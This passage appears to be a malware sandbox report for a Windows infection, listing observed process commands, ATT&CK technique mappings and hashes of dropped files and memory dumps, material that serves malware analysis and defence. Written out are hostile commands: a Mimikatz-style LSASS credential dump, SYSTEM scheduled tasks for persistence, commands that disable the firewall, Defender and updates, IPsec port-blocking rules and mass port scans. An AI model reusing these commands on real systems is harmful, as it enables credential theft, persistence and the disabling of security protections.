    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:752
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:808
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3360
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:676
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bliinatya\rtbnheisb\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\bliinatya\rtbnheisb\wpcap.exe
    C:\Windows\bliinatya\rtbnheisb\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1896
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:1512
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4392
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1220
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:400
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:764
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1340
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4300
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4856
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:1528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1388
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:808
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bliinatya\rtbnheisb\igadlieeu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\bliinatya\rtbnheisb\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2732
- - C:\Windows\bliinatya\rtbnheisb\igadlieeu.exe
    C:\Windows\bliinatya\rtbnheisb\igadlieeu.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\bliinatya\rtbnheisb\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\bliinatya\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\bliinatya\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3644
- - C:\Windows\bliinatya\Corporate\vfshost.exe
    C:\Windows\bliinatya\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4760
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mirluebfi" /ru system /tr "cmd /c C:\Windows\ime\zghnuwi.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "mirluebfi" /ru system /tr "cmd /c C:\Windows\ime\zghnuwi.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "glrfuunmi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "glrfuunmi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bguydwsli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bguydwsli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5080
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:828
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1248
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4828
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2360
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2392
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2480
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3764
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4152
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1528
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4964
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:224
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4988
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2332
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4028
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 780 C:\Windows\TEMP\bliinatya\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1084
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:4532
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:3612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3920
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3184
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:4396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4216
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      PID:4580
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2796
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1460
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1824
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1848
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1984
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:448
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5048
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4456
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 60 C:\Windows\TEMP\bliinatya\60.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 1468 C:\Windows\TEMP\bliinatya\1468.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 2608 C:\Windows\TEMP\bliinatya\2608.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 2888 C:\Windows\TEMP\bliinatya\2888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3008 C:\Windows\TEMP\bliinatya\3008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3168
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3016 C:\Windows\TEMP\bliinatya\3016.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4988
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3752 C:\Windows\TEMP\bliinatya\3752.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3940
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3840 C:\Windows\TEMP\bliinatya\3840.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3944
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3908 C:\Windows\TEMP\bliinatya\3908.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3992 C:\Windows\TEMP\bliinatya\3992.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4360
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3288 C:\Windows\TEMP\bliinatya\3288.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 1676 C:\Windows\TEMP\bliinatya\1676.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3372 C:\Windows\TEMP\bliinatya\3372.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 3212 C:\Windows\TEMP\bliinatya\3212.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2656
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 968 C:\Windows\TEMP\bliinatya\968.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 952 C:\Windows\TEMP\bliinatya\952.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\TEMP\bliinatya\eqelmsiua.exe
  C:\Windows\TEMP\bliinatya\eqelmsiua.exe -accepteula -mp 2288 C:\Windows\TEMP\bliinatya\2288.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4004
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\bliinatya\rtbnheisb\scan.bat
  2⤵
  PID:3196
- - C:\Windows\bliinatya\rtbnheisb\hqnaebagm.exe
    hqnaebagm.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4228

C:\Windows\SysWOW64\gykgue.exe
C:\Windows\SysWOW64\gykgue.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:764

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zghnuwi.exe
1⤵
PID:536
- C:\Windows\ime\zghnuwi.exe
  C:\Windows\ime\zghnuwi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3228

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F
1⤵
PID:1768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2312
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F
  2⤵
  PID:4388

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F
1⤵
PID:676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3936
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F
  2⤵
  PID:772

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\zghnuwi.exe
1⤵
PID:1096
- C:\Windows\ime\zghnuwi.exe
  C:\Windows\ime\zghnuwi.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5780

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F
1⤵
PID:1048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1388
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\vuctsdlau\indtey.exe /p everyone:F
  2⤵
  PID:3004

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F
1⤵
PID:4636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5496
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\uqrutnuy\zghnuwi.exe /p everyone:F
  2⤵
  PID:5436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bliinatya\1468.dmp

Filesize
4.1MB

MD5
6a82644864dc4d91f592b28174327afc

SHA1
5dece7bdc1eb9013bc31718e657ce877fd276ebf

SHA256
be838f1b960a3d358f349a0c513e79da0375015461d5ced0126cb3dae0377c2b

SHA512
b0fc6192b8ed1876ba3128ca9df38c899d0e340906a5c69fb4c6171243ece60498e1644952b586e6e7a9c4a7e70041ac831e2cec91e88252f62f8ef45eb98546

Download Submit
C:\Windows\TEMP\bliinatya\1676.dmp

Filesize
1.2MB

MD5
ce9dcc5c94d5bddc0f1613db9e4864b2

SHA1
4f17d5dad9dd03d0aa168e8cfe124fd6b5e72d7d

SHA256
aa61984f26aeeca9d108879d7f7ea28153cfeb84308cbb64aacc8edae031f86f

SHA512
ba5ccd091ef36286c8adcfaa946a898216f51cccd6cbc672eb8dc85234332623e4346e46ba8b1ca638bd4c95beeb2a5e675e43f7ffab86184ee2034f5bef0aff

Download Submit
C:\Windows\TEMP\bliinatya\2608.dmp

Filesize
7.4MB

MD5
326e1044ef415e6ab9beb59592cc338a

SHA1
fa603302f5e4d3644fc05b9135e91612bf7714ce

SHA256
c1fc2853840a94a03e68d627d5199f7a75241b4a115df5c3f9d447dcd7c4714a

SHA512
d4c5163bef06764832269c15f4270a8de6b6e693cf07122baca7260c6cda6bf6cf0a8834ba0194c5ed8c0e388afacbfb8418bdb10fb7190c0030c7cb1b212e86

Download Submit
C:\Windows\TEMP\bliinatya\2888.dmp

Filesize
3.7MB

MD5
e7af2cb1dbd03efed467b2e153db7bd4

SHA1
3c947fe6dd693fd53c835e90fa6fb1961318b84a

SHA256
10cedc2726d1ff7645fa69d6ef2f99c02f3aa05cc1b76b845c6817f4c835eff4

SHA512
2d3a23258686d25b1f0068b2f6988681b1c823b8890b71b75bdda83133b100f5d8faeed73baf420d8fd3117698626dc9ae4a7e082a5743e2690e1db57ab45df2

Download Submit
C:\Windows\TEMP\bliinatya\3008.dmp

Filesize
2.9MB

MD5
cb2ee06f345d88cc46724b1e50d0a36f

SHA1
751da13a92d1f7573de1e0eff6533d4fba4690a5

SHA256
3761e8bd94f70705e950bd667ccf4980821207dee3936dc7ececd35379b1c7c9

SHA512
d416a00a70893de70b5326e49c2aebac592b0f1cda7628b47a0328202bcd97ff85d0e10a01a9c9e503a4899364ee0bbd41f5095e25a9c1a19cb51a55442f9e8f

Download Submit
C:\Windows\TEMP\bliinatya\3016.dmp

Filesize
796KB

MD5
959525f7563947bb9bc049a0d6643ddc

SHA1
48ec0c53cbb7c9e15d279552f0f04f92a6a802c8

SHA256
dd56605516ba14cbfde5ccfc7371a2794d390232204b3da1f68c096a771bc9aa

SHA512
eb6972d67dc1f45db8d36483a455fa137f34475ad639b85007b7980a16220b88f95753d3246f2f8332e268a24f964c1b227528e080ebb990f6c0119bebe9ccf7

Download Submit
C:\Windows\TEMP\bliinatya\3288.dmp

Filesize
25.9MB

MD5
67e5436942f7c690285c9562e0368605

SHA1
85ea757c0a33f36bbd4745c96bc88ce7e3ed8a9a

SHA256
2d027ff14ded14d502d387d4dd677b00e49f0126da2c3e8f794e2efdd029f046

SHA512
ecb9a74ce4a18f4e8b74732d98e0350815e42ad9a78c475642e11014c6f638bc2a2add3e29287949d5793f9ef788b3e86ce40886c8704be91182de97ca2eca5b

Download Submit
C:\Windows\TEMP\bliinatya\3372.dmp

Filesize
8.7MB

MD5
eba1782ca76224cc616d228c1166fd72

SHA1
0c820de7900b43852f7fb5788118bc744f657a02

SHA256
6f1186f5e17a838240cd79146ce07725a6b2e45336db420ffe45e47a4f92fe04

SHA512
016fc1edb3efd21516a74f1a04b95f92fdcbe132bdb9f395915d9de92c32a34598309d57a4bf7b73ce0386e7b9b82ce67455d5bde338eba7b44d14281433522d

Download Submit
C:\Windows\TEMP\bliinatya\3752.dmp

Filesize
2.4MB

MD5
bbd7beaea2c6ebd9363ef7b4c7712681

SHA1
14b6743b8f10e3b1eabbc5fc7c30d046d418addb

SHA256
800b045ed3332e377f72e9af8a89ce92b1f6408a4a1954748e89a1d1442ac24d

SHA512
37e37408b4ae173017d773869a01e52c1f162116c7d615a10d13d2c7c24c0c40f9d85e3ba88da8779f64f8cad11747c83d3a4e4f3dcb612cd9513c08f9c315a2

Download Submit
C:\Windows\TEMP\bliinatya\3840.dmp

Filesize
20.6MB

MD5
0053d691d2d6fb5060eb68fafdac2ee8

SHA1
a996069509419de96f819e2c5b28c941f929f0ac

SHA256
390e870da45829ea892b59d8ccae22f65c0bfebbea1eddde40a2e77f13ee08ad

SHA512
db51db5c53c30541a8ee8a85e3e0b5f3c8d9b6b308a5f6e296aeb1a79d22b19e757a5e83d72bff0647e7490d9b6fdd478b4e19bcaf59bdf02df2440197c822fd

Download Submit
C:\Windows\TEMP\bliinatya\3908.dmp

Filesize
4.2MB

MD5
3cf7ac8c2e1ca3fff294e29302ac3a7f

SHA1
87da623cba09a8adc7b7cdd1009e4c32cded7b8e

SHA256
32baa28ea75fa1c10d26f259cf0051ec90fce4d95f3e6f49b839821f67b8affc

SHA512
f88625145c9fd0664d5f4e403382c5a92fce2dde2eb70a3804b8ab08d4f1ad8cf4f5983db602530195384a15b8dbf9af9600c975d8cfb0a4811d20ed70182d14

Download Submit
C:\Windows\TEMP\bliinatya\3992.dmp

Filesize
43.7MB

MD5
2608dd26164f22d1daaddec11c3a2feb

SHA1
90fd9d2ed81e68a615bec0a2d071ec86821160fb

SHA256
13e1053d2bbe3da3c5eef8bffece0540b76cd3e183539e875f9ba2ff3d5c89fb

SHA512
266d4a38809fbc582f9fb7cf4bd93602fa838f45a7eebd2444b217e0cef2d8dc05a37d45b74ef655e39c2d44def38dcc33bc54c5fa8bc1d115db46598a8b11fb

Download Submit
C:\Windows\TEMP\bliinatya\60.dmp

Filesize
33.4MB

MD5
d40d020862221725765c62f8fec0ca17

SHA1
a0ca719ed7dea35d8ebec2849a4e5c676a7486a5

SHA256
a6c1a96bb3344f0926debbe1087acf91b47bfbcb5e88a1476df89b5b4e0e7495

SHA512
